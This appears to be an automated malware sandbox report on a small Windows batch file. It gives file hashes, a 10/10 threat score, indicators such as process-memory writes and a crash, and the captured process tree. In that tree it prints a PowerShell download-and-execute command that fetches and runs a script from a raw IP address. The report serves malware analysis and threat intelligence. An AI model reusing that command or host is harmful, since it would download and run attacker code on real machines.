4df4f51379a5fdc56671e999a52ac96c8b4fd0194a2af6f602bc7fc20825ea1a

Analysis

Target
594f735f38e39066e0ea5392e1a93dba.bat
Size 219B
Sample200716-mrmdxe7k22
SHA256 4df4f51379a5fdc56671e999a52ac96c8b4fd0194a2af6f602bc7fc20825ea1a
MD5 2dcb6e0063636fed2c26c0b88d389592
SHA1 001718f5ec05cecbdd87d1950fb13fa8e8b1c93f
SHA512 a3157d8ad3f0a88b822774239cdfb1ea7e15fcd89b8061310656239ff64a0480f1ef9a8d70fee76e759de63cb31eeb29f175518776a93c7951f90228abdb4644
MD5 SHA1 SHA512

Score

10^/10

Language

Source

URLs

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3676 wrote to memory of 4044	3676	cmd.exe	68
PID 3676 wrote to memory of 4044	3676	cmd.exe	68
PID 3676 wrote to memory of 4044	3676	cmd.exe	68

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3852	4044	WerFault.exe	68

Suspicious use of AdjustPrivilegeToken 3 IoCs

Suspicious behavior: EnumeratesProcesses 14 IoCs

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\594f735f38e39066e0ea5392e1a93dba.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3676
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/594f735f38e39066e0ea5392e1a93dba');Invoke-SWAGNDKFQZBV;Start-Sleep -s 10000"
  2⤵
  PID:4044
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4044 -s 704
    3⤵
    - Program crash
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious behavior: EnumeratesProcesses
    PID:3852

memory/3852-1-0x0000000004D00000-0x0000000004D01000-memory.dmp

Download

memory/3852-8-0x0000000005430000-0x0000000005431000-memory.dmp

Download